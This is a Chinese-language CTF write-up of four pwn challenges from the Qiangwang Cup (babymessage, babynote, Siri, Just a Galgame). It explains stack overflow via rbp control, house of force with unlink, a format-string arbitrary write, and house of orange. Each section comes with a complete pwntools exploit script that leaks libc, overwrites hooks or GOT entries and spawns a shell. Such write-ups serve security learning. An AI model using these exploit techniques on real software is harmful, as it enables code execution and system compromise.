受到摸鱼和各种项目压力之后,终于发出来了,这次是强网杯中强网先锋的4道pwn题,剩下的pwn题还在陆续复现ing,在做了在做了ing
babymessage 一道神奇的栈溢出题目,有三个功能,写name,写message,输出buf,其中message的数据会被strcopy到buf上。这里的溢出点是在写message的功能上,一开始只能够溢出16字节,覆盖掉栈变量+rbp的值。这里如果只是看反编译的代码是看不出问题的,一定要观察汇编代码,这也是我经常失误的地方不太爱看汇编,555555。
这里的写message的函数里带着一个局部变量size,而这个变量因为是局部变量,它是受到rbp的值影响的。
所以我们的溢出点控制住了rbp,就能够控制这个size局部变量的值,那么我们的输入大小就会增大,可以在栈上布置rop chain。那么这里有哪些合适的地方呢?因为这个程序没有开启aslr,所以我们可以找bss段上的数据,也就是name或者buf,而这里刚好有功能可以写到这两个地方,那么思路就有了。
通过相关功能向name或者buf写入一个足够大的数,然后通过溢出修改rbp的值,让rbp-0x4
其指向我们修改的地方,这样size就被我们控制住了,随后按照一般的ROP操作泄露libc,返回溢出点再次溢出getshell。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context(log_level='debug' ) io = process('./babymessage' ) elf = ELF('./babymessage' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def l_name (name) : io.recvuntil('choice: \n' ) io.sendline('1' ) io.recvuntil('name: \n' ) io.send(name) def l_mess (message) : io.recvuntil('choice: \n' ) io.sendline('2' ) io.recvuntil('message: \n' ) io.send(message) def show () : io.recvuntil('choice: \n' ) io.sendline('3' ) name = 0x6010D0 puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] pop_rdi = 0x400ac3 message = 0x400995 pause() l_name(p32(0x1000 )) l_mess('a' * 8 + p64(name + 4 )) pause() l_mess('a' * 8 + p64(name + 4 ) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(message)) puts_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) libc_addr = puts_addr - libc.sym['puts' ] info('libc address: ' + hex(libc_addr)) pause() system_addr = libc_addr + libc.sym['system' ] bin_sh = libc_addr + libc.search('/bin/sh' ).next() pause() io.sendafter('message:' , 'a' * 8 + p64(name + 4 ) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)) io.interactive()
babynote 这道题的漏洞点在于使用了字符串复制函数strcpy,但是name数组并没有在末尾添加\x00
,虽然在一开始对相应区域初始化为0,但是我们如果把name全部填满,那么在字符串复制的时候会认为name与之后的age为同一部分,最终会把后面的age部分一同复制,这样针对dest的复制会溢出。
这里针对dest的溢出最多能溢出8个字节,而这里的dest正好size为0x18,这就意味着它占用了下一个chunk的prev_size区域,这溢出的8个字节能够刚好覆盖下一个chunk的size区域。
我们能控制下一块chunk的size,碰巧的是这下一块chunk刚好是top chunk,同时也能分配小于0x100的chunk,这刚好满足house of force的攻击要求,缺点是向高地址移动距离有限,更多的只能让top chunk向低地址移动。
house of force + unlink/fastbin attack 首先,我们布置三个0x100的堆块等待之后能任意分配chunk时构造unlink,随后利用程序提供的重置功能,触发上面的字符串复制的漏洞覆盖top chunk的size区域为-1,换算成补码也就是0xffffffffffffffff
。在分配chunk的时候size会被当做无符号数,所以-1会变成最大值。想要控制三块0x100中间的chunk,需要调试计算其中的差值,而这个差值还需要再减0x10,为什么要减0x10,也是因为我们请求的大小会被转换成请求chunk的大小,有一个chunk head的部分需要0x10字节。
这里我们的top chunk起始地址为0x1d0f590,我们的目标是控制第二个chunk也就是0x1d0f240,为了控制这个chunk就需要能改变chunk头部,所以我们分配chunk到0x1d0f230,刚好就能写到头部,改变prev_size和size。中间差了0x360再加上0x10一共0x370。通过分配调整top chunk位置之后,我们只需要再次分配0x20大小的chunk就能控制头部。这里申请0x10和0x20都是一个效果,申请0x10会得到0x20的chunk,申请0x20会得到0x30的chunk。
在能够控制头部之后,伪造prev_size和size,让堆管理认为前面的chunk已经释放,删除中间的块触发unlink前面的chunk,在删除之前需要在前面的chunk中布置需要改变的地址-0x18和地址-0x10,最后造成的效果是目标地址的值变成地址的值-0x18。有了这个我们能改变指针的值,让它指向地址前面,配合程序的修改功能我们能泄露写进的got函数地址,同时能把它修改成其他函数,比如system。这里就是先泄露free函数,获得libc基地址,再写入system地址。最后构造一个chunk,里面的内容为/bin/sh\x00
,将其释放即可获得shell。
这里其实也可以不用unlink攻击,可以使用fastbin attack,我们已经能分配到低地址的chunk,那么也能够修改释放进fastbin的chunk,让其指向free_hook或者malloc_hook的低地址处,分配拿到chunk后直接修改为one_gadget。
off by one 这是另外一种思路,同样利用strcpy溢出chunk的size区域,不过这里只溢出一个字节,首先申请一个0x18字节的note,再释放它使其进入fastbin中,这样之后修改name时申请的0x18字节会在fastbin中取到这个chunk,达到我们想要溢出的地点。控制chunk的大小为small bin范围,随后释放这个chunk,让它进入unsorted bin中,再次分配原来大小的chunk,在fastbin中没有合适的chunk时会切分unsorted bin中的chunk,切分之后剩下的部分依旧在unsorted bin里面,它的指针会被写进之前chunk的下一块chunk中,这样利用输出功能就能泄露出libc相关地址,得到libc基地址。
在泄露完成之后,再次分配下一个chunk同样大小的chunk,我们就拿到了两个指向同一chunk的指针,通过这个可以开始uaf攻击,释放其中一个指针,让这个chunk进入fastbin中,再通过另外一个指针修改fastbin指针,指向malloc_hook的低地址处,随后就是分配两次0x70的chunk,第二次就能拿到我们想要的chunk,写入one_gadget覆盖malloc_hook的位置,完成getshell。
exp 这里给的是house of force方法的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *sh = process('./babynotes' ) context.log_level = 'debug' elf = ELF('./babynotes' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) free_got = elf.got['free' ] sh.sendafter('Input your name:' ,'haivk' ) sh.sendafter('Input your motto:' ,'pwnit' ) sh.sendlineafter('Input your age:' ,'1' ) def add (index,size) : sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('Input index:' ,str(index)) sh.sendlineafter('Input note size:' ,str(size)) def show (index) : sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('Input index:' ,str(index)) def delete (index) : sh.sendlineafter('>>' ,'3' ) sh.sendlineafter('Input index:' ,str(index)) def edit (index,content) : sh.sendlineafter('>>' ,'4' ) sh.sendlineafter('Input index:' ,str(index)) sh.sendafter('Input your note:' ,content) def reset () : sh.sendlineafter('>>' ,'5' ) add(0 ,0x100 ) add(1 ,0x100 ) add(2 ,0x100 ) pause() reset() sh.sendafter('Input your name:' ,'haivk' .ljust(0x18 ,'a' )) sh.sendafter('Input your motto:' ,'pwnit' ) sh.sendlineafter('Input your age:' ,'-1' ) pause() add(4 ,-0x370 ) add(3 ,0x20 ) edit(3 ,p64(0x100 ) + p64(0x110 )) heap0_ptr_addr = 0x6020E0 edit(0 ,p64(0 ) + p64(0x101 ) + p64(heap0_ptr_addr - 0x18 ) + p64(heap0_ptr_addr - 0x10 )) delete(1 ) edit(0 ,p64(0 )*3 + p64(free_got)) show(0 ) sh.recvuntil('Note 0: ' ) free_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) libc_base = free_addr - libc.sym['free' ] system_addr = libc_base + libc.sym['system' ] edit(0 ,p64(system_addr)) edit(2 ,'/bin/sh\x00' ) delete(2 ) sh.interactive()
Siri 一个典型的格式化字符串漏洞,出现在0x1212函数中。
输入Hey Siri!
启动siri之后,我们输入开头带有remind me to
的字符串,就能进入漏洞点。我们在remind me to
之后的输入内容会被带入新的字符串中,printf触发这个格式化字符串的漏洞。
首先利用漏洞泄露数据,包括栈地址和libc地址,构造格式化字符串%83$p
和%44$p
可以获取到libc相关的地址和栈地址。剩下就是通过格式化字符串构造任意写,向一些地址写one_gadget。
构造任意写的方法就是在栈上布置一些需要写的地址,然后通过%yyc%xx$hhn
的方法向栈上那个偏移量的地址写值。其中有些地方需要对齐,所以在某地位置要填充数据保证对齐。有了任意地址写,我们的方法就有很多了。
改写hook 改写malloc_hook
,写其中写入one_gadget,然后输入大量的字符串,这样就会触发malloc,拿到shell。
改写返回地址 改写main函数的返回地址,但是没有办法直接返回到main函数,所以再最后一次改写子函数的返回地址,让它的返回地址指向leave ret
,这样就会进行栈迁移,使得SP指向main函数的返回地址,也就是one_gadget处。
exp 注意一点,给的libc和ubuntu自带的libc有一些不同,所以在打远程的时候要用它给的libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *e = ELF("./Siri" ) libc = ELF("./libc.so.6" ) if args.I: context.log_level = 'debug' if args.R: p = remote('123.56.170.202' , 12124 ) else : p = process("./Siri" ) p.sendafter(">>> " , "Hey Siri!" ) p.sendafter(">>> " , "Remind me to %{}$p" .format(0x4d +6 )) p.recvuntil("OK, I'll remind you to " ) base = int(p.recvline().strip(), 16 ) - libc.symbols['__libc_start_main' ] - 231 one_gadget = base + 0x4f365 p.sendafter(">>> " , "Hey Siri!" ) p.sendafter(">>> " , "Remind me to %46$p" ) p.recvuntil("OK, I'll remind you to " ) stack = int(p.recvline().strip(), 16 ) def write (addr, val) : p.sendafter(">>> " , "Hey Siri!" ) payload = b"Remind me to " num = val + 256 - 28 payload += '%{}cA' .format(num).encode() payload += b'%15$hhn' payload += p64(addr) pause() p.sendlineafter(">>> " , payload) p.recvuntil("OK, I'll remind you to " ) for i in range(6 ): num = (one_gadget >> (i*8 )) & 0xff write(stack+8 +i, num) pause() leave_ret = 0xC1 write(stack-280 , leave_ret) print(hex(base)) print(hex(one_gadget)) p.interactive()
just a galgame 不得不说,这道题的场景出的特别有意思,很多地方的限制还原了真实的galgame(>_<死宅真恶心~)。
简单说一下功能,送礼物能malloc(0x68),最多能分配7次,去看电影能做一个堆溢出修改,刚开始只有一次,但是在执行完表白之后能在获得一次修改机会,表白是申请一个0x1000长度的chunk,查看CG能输出指针内容的信息,最后是退出功能,也能写一个bss段上数据。
这道题最明显的特征就是没有free的功能,可以联想到house of orange
,这种利用技巧能在没有free的情况下把缩小过后的top chunk
放进unsorted bin
中,这样我们再次分配chunk的时候会从unsorted bin
中获取,如果分配之后没有写入啥的,就可以泄露出libc地址。
house of orange 这种利用技巧需要堆溢出能够覆盖到top chunk
的size部分,让它缩小,再申请一个比它size更大的chunk,让这个top chunk
进入unsorted bin
中,随后堆管理器会扩大堆的大小分配一个新的top chunk
。
在这道题中,我们先申请一个chunk,用做溢出top chunk
,随后利用看电影的功能它能溢出到size区域,由于top chunk
需要页对齐,所以它的chunk结束处末尾的地址必须为000。由于大chunk的申请大小为0x1000,直接保留最后三位就能满足条件,这里的伪造size为0xd41。最后执行表白功能,申请大chunk,由于top chunk
的大小不满足申请大小,也没有其他地方能够满足,最终堆管理器会把top chunk
加入unsorted bin
中,同时扩大堆的范围获得新的堆空间。
这时,我们再次申请0x68大小的chunk,根据分配规则会从unsorted bin
中进行切分,我们拿到的chunk之后调用输出功能,会把chunk中的数据部分打印出来,这里因为分配之后不会对chunk做初始化或者写入数据操作,能够泄露出libc地址。
写one_gadget
这里要用到另外一个漏洞点了,在看电影功能中会有一个在指针函数中选择指针的过程,而这个下标没有被限制,也就是说我们可以越界写数据,前提是越界的地方是有存放数据的。正好,在指针数组的下方就有一个全局的变量,同时也有功能能写入数据,这样写入我们需要的地址,通过越界访问的方式拿到地址,可以向任意地址写入0x10字节的内容。
剩下的就是目标选择,这里没有free,所以选择__malloc_hook
,向其中写入one_gadget,再次分配即可触发拿到shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *elf = ELF('./Just_a_Galgame' ) libc = elf.libc if args['D' ]: context.log_level = 'debug' if args['R' ]: io = remote('' ) else : io = process('./Just_a_Galgame' ) def gift () : io.sendlineafter('>> ' , '1' ) def movie (index, data) : io.sendlineafter('>> ' , '2' ) io.sendlineafter('idx >> ' , str(index)) io.sendafter('movie name >> ' , data) def confess () : io.sendlineafter('>> ' , '3' ) def collection () : io.sendlineafter('>> ' , '4' ) def exit (data) : io.sendlineafter('>> ' , '5' ) io.sendafter('QAQ' , data) gift() movie(0 , p64(0 ) + p64(0xd41 )) pause() confess() pause() gift() collection() leak_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 , '\x00' )) libc_addr = leak_addr - 0x3ec2a0 info('libc_addr: ' + hex(libc_addr)) ''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' malloc_hook = libc_addr + libc.sym['__malloc_hook' ] one = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = one[1 ] + libc_addr exit(p64(malloc_hook - 0x60 )) pause() movie(8 , p64(one_gadget)) gift() io.interactive()